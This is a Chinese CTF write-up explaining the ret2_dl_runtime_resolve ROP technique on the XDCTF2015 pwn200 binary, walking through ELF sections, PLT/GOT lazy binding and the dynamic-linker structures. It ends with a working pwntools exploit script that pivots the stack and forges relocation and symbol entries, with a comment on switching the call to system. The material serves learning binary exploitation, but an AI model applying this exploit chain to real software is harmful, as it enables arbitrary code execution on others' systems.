ROP_1_ret2_dl_runtime_resolve

参考:
ctf-wiki高级ROP部分.
ctf-wiki对elf文件格式的讲解
https://bbs.pediy.com/thread-227034.htm
由于原文讲解的不是很详细,自己看的时候有很多问题,于是慢慢将问题搞清楚记录下来.详解elf节的文件结构,plt,got机制.结合上面3个参考来理解.
1.pwn200源码:

#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
    char buf[100];
    setbuf(stdin, buf);
    read(0, buf, 256);
}
int main()
{
    char buf[100] = "Welcome to XDCTF2015~!\n";

    setbuf(stdout, buf);
    write(1, buf, strlen(buf));
    vuln();
    return 0;
}

编译方式:gcc main.c -m32 -fno-stack-protector -o main
2.stage1
内容在 https://www.jianshu.com/p/0d45e2025d97
3.stage5
要理解这部分代码首先要搞清楚got,plt,elf文件结构的.rel.plt
首先推荐一个观察elf文件格式的超好用的工具:wireshark. 没看错,我们都知道它是用来做流量分析的,可我突然发现直接把elf文件拖到wireshark中可以非常直观地查看elf文件结构.放个预览图:

elf全貌

可以发现header就是elf文件头,program header table 就是程序头表,section header table就是节头表.重点分析节头表及重要的节.
节头:
节头预览

每一个节头由如下结构构成,以.rel.plt为例:
.rel.plt头预览

对应的数据结构:

//如果以上图的函数的重定位节.rel.plt为例,字段值分别解释如下
typedef struct {
    ELF32_Word      sh_name; //在字符串节中的偏移,一个elf文件有多个字符串表,这个是存在于.shstrtab中,这个值表示节名字符串起始地址在.shstrtab节中偏移
    ELF32_Word      sh_type;//SHT_REL
    ELF32_Word      sh_flags;//09
    ELF32_Addr      sh_addr;//0x0848330在内存中的虚拟地址
    ELF32_Off       sh_offset;//elf文件偏移
    ELF32_Word      sh_size;//该节的总大小 0x28字节
    ELF32_Word      sh_link;//0x5
    ELF32_Word      sh_info;//0x18
    ELF32_Word      sh_addralign;//0x4
    ELF32_Word      sh_entsize;//0x8 表示本节每个元素大小,由总大小0x28/0x8=5,故共有5个元素
} Elf32_Shdr;

从图中可以发现下面还有个segment,这个并不是节头的内容,而是该节的本身.wireshark帮我们把每个节的节本身也放在了节头下面,方便我们查看. 展开如下:


节内容

从file offset可知节位于文件偏移0x330处,点到segment后,如箭头指示,正好位于0x330处,而且具有5个元素(entry),每个元素8字节大小,这和文件头的描述吻合.每个不同的节的entry结构是不同的,.rel.plt的entry的结构为

//函数的重定位节(表)
//每个元素是个结构:
typedef struct
{
  Elf32_Addr    r_offset; //指向GOT表的指针
  Elf32_Word    r_info;//这个值>>8得到.dynsym的下标(从0开始),可求出当前函数的符号表项Elf32_Sym的指针,
} Elf32_Rel;

重要节.plt详解:
节头:


.plt节头

.plt节位于文件偏移0x380处,在内存中地址为0x08048380,总大小0x60字节,每个entry4字节.调试验证一下:

gef➤  x/24wx 0x8048380
0x8048380:  0xa00435ff  0x25ff0804  0x0804a008  0x00000000
0x8048390 <setbuf@plt>: 0xa00c25ff  0x00680804  0xe9000000  0xffffffe0
0x80483a0 <read@plt>:   0xa01025ff  0x08680804  0xe9000000  0xffffffd0
0x80483b0 <strlen@plt>: 0xa01425ff  0x10680804  0xe9000000  0xffffffc0
0x80483c0 <__libc_start_main@plt>:  0xa01825ff  0x18680804  0xe9000000  0xffffffb0
0x80483d0 <write@plt>:  0xa01c25ff  0x20680804  0xe9000000  0xffffffa0

根据gdb的注释,确实如此.只不过在一个函数的plt中,并不是只有4字节,而是16字节(后面会用到).例如对0x80483d0 反汇编看看:

gef➤  disas 0x80483d0
Dump of assembler code for function write@plt:
   0x080483d0 <+0>: jmp    DWORD PTR ds:0x804a01c
   0x080483d6 <+6>: push   0x20
   0x080483db <+11>:    jmp    0x8048380
End of assembler dump.

这16字节是该函数的plt的调用过程.再查看got表,所谓的got表其实是.got.plt节


image.png

由代码的jmp DWORD PTR ds:0x804a01c(由图中0x804a000+0x101c得到) ,发现从plt跳到[0x804a01c]处执行.再看图知就是0x080483d6,正好是write函数的plt中第二条指令地址.根据延迟绑定机制,只有当函数被调用时才进行地址修正,故plt后2条指令就是修正过程,它会将write函数的got表项(这里就是0x804a01c)写入真正的地址(即[0x804a01c]=write函数真正地址)并执行.当第二次及其以后都不会再进入plt的后2条指令了.而是直接jmp到真正的地址.查看一下未初始化的got表内容:

对got表
gef➤  x/20wx 0x804a000
0x804a000:  0x08049f14  0xf7ffd918  0xf7fee000(解析函数)    0x08048396(第一个)
0x804a010:  0x080483a6(第二个...依次类推)  0x080483b6  0xf7e1b540  0x080483d6(正好是plt的第2行指令地址)
0x804a020:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a030:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a040 <stdin@@GLIBC_2.0>:   0xf7fb55a0  0xf7fb5d60  0x00000000  0x00000000

初始化后的got表内容:

gdb-peda$ x/20wx 0x804a000
0x804a000:  0x08049f14  0xf7ffd918  0xf7fee000  0xf7e68ff0
0x804a010:  0x080483a6  0xf7e81440  0xf7e1b540  0xf7ed8b70(已初始化)

gdb-peda$ disas 0xf7ed8b70
Dump of assembler code for function write:
=> 0xf7ed8b70 <+0>: cmp    DWORD PTR gs:0xc,0x0
   0xf7ed8b78 <+8>: jne    0xf7ed8ba0 <write+48>
   0xf7ed8b7a <+0>: push   ebx
   0xf7ed8b7b <+1>: mov    edx,DWORD PTR [esp+0x10]
   0xf7ed8b7f <+5>: mov    ecx,DWORD PTR [esp+0xc]
   0xf7ed8b83 <+9>: mov    ebx,DWORD PTR [esp+0x8]
   0xf7ed8b87 <+13>:    mov    eax,0x4
   0xf7ed8b8c <+18>:    call   DWORD PTR gs:0x10
  .................

而下面的0x8048380(.plt节内容基址)就是_dl_runtime_resolve函数的plt:

gef➤  x/20i 0x8048380  //强制反汇编
   0x8048380:   push   DWORD PTR ds:0x804a004
   0x8048386:   jmp    DWORD PTR ds:0x804a008
   0x804838c:   add    BYTE PTR [eax],al
   0x804838e:   add    BYTE PTR [eax],al
   0x8048390 <setbuf@plt>:  jmp    DWORD PTR ds:0x804a00c
   0x8048396 <setbuf@plt+6>:    push   0x0
   0x804839b <setbuf@plt+11>:   jmp    0x8048380
   0x80483a0 <read@plt>:    jmp    DWORD PTR ds:0x804a010
   0x80483a6 <read@plt+6>:  push   0x8
   0x80483ab <read@plt+11>: jmp    0x8048380
   0x80483b0 <strlen@plt>:  jmp    DWORD PTR ds:0x804a014
   0x80483b6 <strlen@plt+6>:    push   0x10
   0x80483bb <strlen@plt+11>:   jmp    0x8048380
   0x80483c0 <__libc_start_main@plt>:   jmp    DWORD PTR ds:0x804a018
   0x80483c6 <__libc_start_main@plt+6>: push   0x18
   0x80483cb <__libc_start_main@plt+11>:    jmp    0x8048380
   0x80483d0 <write@plt>:   jmp    DWORD PTR ds:0x804a01c
   0x80483d6 <write@plt+6>: push   0x20
   0x80483db <write@plt+11>:    jmp    0x8048380

前4行就是_dl_runtime_resolve的plt,它自己的got:0x804a008内容如下:是真正的地址,不需要修正的

gef➤  x/w 0x804a008
0x804a008:  0xf7763000

gef➤  disas 0xf7763000
Dump of assembler code for function _dl_runtime_resolve:
   0xf7763000 <+0>: push   eax
   0xf7763001 <+1>: push   ecx
   0xf7763002 <+2>: push   edx
   0xf7763003 <+3>: mov    edx,DWORD PTR [esp+0x10]
   0xf7763007 <+7>: mov    eax,DWORD PTR [esp+0xc]
   0xf776300b <+11>:    call   0xf775c7e0 <_dl_fixup>
   0xf7763010 <+16>:    pop    edx
   0xf7763011 <+17>:    mov    ecx,DWORD PTR [esp]
   0xf7763014 <+20>:    mov    DWORD PTR [esp],eax
   0xf7763017 <+23>:    mov    eax,DWORD PTR [esp+0x4]
   0xf776301b <+27>:    ret    0xc
End of assembler dump.

其实_dl_runtime_resolve函数接收2个参数,从write的plt发现,跳转到_dl_runtime_resolve的plt之前push了一个参数0x20,_dl_runtime_resolve的plt第一条指令也是push一个参数,这个参数不用管他.即通过传入不同的参数会对不同的函数进行修正.这个0x20的参数表示的是离.rel.plt节的偏移.前面已经知道.rel.plt节每个entry8字节,因此write对应函数重定位节的第4个entry.也就是说,对_dl_runtime_resolve指定好第二个参数后,就能直接调用
_dl_runtime_resolve来间接调用函数._dl_runtime_resolve的内部是通过第一个参数获取到.dynamic节,又能通过.dynamic节获取到.dynstr, .dynsym, .rel.plt 这3个节.总之:

_dl_runtime_resolve会
用link_map访问.dynamic,取出.dynstr, .dynsym, .rel.plt的指针
.rel.plt + 第二个参数求出当前函数的重定位表项Elf32_Rel的指针,记作rel
rel->r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym
.dynstr + sym->st_name得出符号名字符串指针
在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表
调用这个函数

.dynamic节内容:


.dynamic节内容

重要的entry已经被展开,结构如下

    typedef struct {
    Elf32_Sword     d_tag;//不同的entry该值不同
    union {
        Elf32_Word  d_val;
        Elf32_Addr  d_ptr;
    } d_un;//对于tag为5,6,0x17(23)时,分别是指向.dynstr, .dynsym, .rel.plt这3个section的指针.3时,指向.got.plt
} Elf32_Dyn;

.rel.plt 节entry上面已说过,8个字节,前4字节指向对应函数的.got.plt节(got表)的值,即当_dl_runtime_resolve找到真正的地址时会执行类似于这样的东西: *(int*)(Elf32_Rel->r_offset)=真正的地址
.dynsym节:
专用的动态符号表, 内容结构如下,每个结构大小16字节
ELF 文件中 export/import 的符号信息全在这里。
但是,.symtab 节中存储的信息是编译时的符号信息


.dynsym节

对应结构:

    typedef struct
{
  Elf32_Word    st_name;   /* Symbol name (string tbl index) */ 该成员保存着动态符号在 .dynstr 表(动态字符串表)中的偏移。这个是_dl_runtime_resolve解析外部函数的关键成员.
  Elf32_Addr    st_value;  /* Symbol value */如果这个符号被导出,这个符号保存着对应的虚拟地址。
  Elf32_Word    st_size;   /* Symbol size */
  unsigned char st_info;   /* Symbol type and binding */
  unsigned char st_other;  /* Symbol visibility under glibc>=2.2 */
  Elf32_Section st_shndx;  /* Section index */
} Elf32_Sym;

.dynstr
和.strtab(存储程序中的变量名,函数名), .shstrtab(存储的是节区名的字符串)类似

此时直接看ctf-wiki的stage5代码:

from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')

offset = 112
bss_addr = elf.bss()

r.recvuntil('Welcome to XDCTF2015~!\n')

## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)
### read 100 byte to base_stage
rop.read(0, base_stage, 100)
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())

## write sh="/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"
#这些值可以边调试代码边到wireshark中查看是否一致
plt0 = elf.get_section_by_name('.plt').header.sh_addr#获取.plt在内存中地址:0x8048380
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr#获取.rel.plt在内存中地址:0x8048330
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr#获取.dynsym在内存中地址:0x80481d8
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr#获取.dynstr在内存中地址:0x8048278

### making fake write symbol

#将伪造的符号结构置于 base_stage + 32的地方,不能少于32,因为前面+24的地方是伪造的重定位结构,+本身
#8字节即32.
fake_sym_addr = base_stage + 32
#下面2行是为了地址对齐,经过调试,这个align是0x10
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf )# since the size of item(Elf32_Symbol) of dynsym is 0x10
fake_sym_addr = fake_sym_addr + align

## plus 10 since the size of Elf32_Sym is 16.
index_dynsym = (fake_sym_addr - dynsym) / 0x10  #计算伪造的符号结构在符号节的索引,用于伪造的.rel.plt
#计算伪造的字符串结构(其实就是字符串)离字符串节偏移,用于填充伪造的符号结构第一个字段
st_name = fake_sym_addr + 0x10 - dynstr#伪造的字符串位于fake_sym_addr + 0x10
fake_write_sym = flat([st_name, 0, 0, 0x12])#伪造的符号结构,后3个字段都一样,无需更改

### making fake write relocation

## making base_stage+24 ---> fake reloc
#将伪造的重定位结构置于 base_stage + 24的地方
#计算重定位结构与rel_plt基址偏移,用于作为_dl_runtime_resolve的参数
index_offset = base_stage + 24 - rel_plt
#伪造的重定位结构,Elf32_Rel.r_offset=write_got ;Elf32_Rel.r_info=(index_dynsym << 8) | 0x7
write_got = elf.got['write']
r_info = (index_dynsym << 8) | 0x7#在wireshark中可以看到这些结构的r_info低位都有0x7,这里也加上就好了
fake_write_reloc = flat([write_got, r_info])

rop.raw(plt0)
rop.raw(index_offset)
## fake ret addr of write
rop.raw('bbbb')
#write函数的3个参数
rop.raw(1)
rop.raw(base_stage + 80)#sh的地址
rop.raw(len(sh))
rop.raw(fake_write_reloc)  #将伪造的重定位结构置于 base_stage + 24的地方
rop.raw('a' * align)  # padding
rop.raw(fake_write_sym)  # fake write symbol#将伪造的符号结构置于 base_stage + 32的地方
rop.raw('write\x00')  #.伪造的字符串必须以0结尾,将这里改为system并修改参数即调用之
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))

r.sendline(rop.chain())
r.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 202,056评论 5 474
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 84,842评论 2 378
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 148,938评论 0 335
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,296评论 1 272
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,292评论 5 363
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,413评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,824评论 3 393
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,493评论 0 256
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,686评论 1 295
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,502评论 2 318
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,553评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,281评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,820评论 3 305
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,873评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,109评论 1 258
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,699评论 2 348
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,257评论 2 341

推荐阅读更多精彩内容